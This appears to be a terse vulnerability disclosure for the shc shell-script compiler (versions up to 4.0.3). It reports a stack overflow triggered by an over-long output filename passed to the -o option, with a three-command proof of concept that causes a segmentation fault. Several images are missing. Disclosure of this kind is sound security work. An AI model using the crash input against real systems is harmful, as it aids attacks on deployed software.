BUG_Author: s0l42

Affected Version: shc ≤ 4.0.3

Vendor: shc GitHub Repository

Software: shc

Vulnerability Files:

Description:

Stack Overflow:

image.png

Proof of Concept:

$ touch 1.sh
$ echo '#!/bin/sh\\nls' > 1.sh
$ ./shc -f 1.sh -o `python -c "print('a'*4500)"`

If success, a segment fault happend.

image.png

Seeing the stack, full filled with 0x61(’a’)

image.png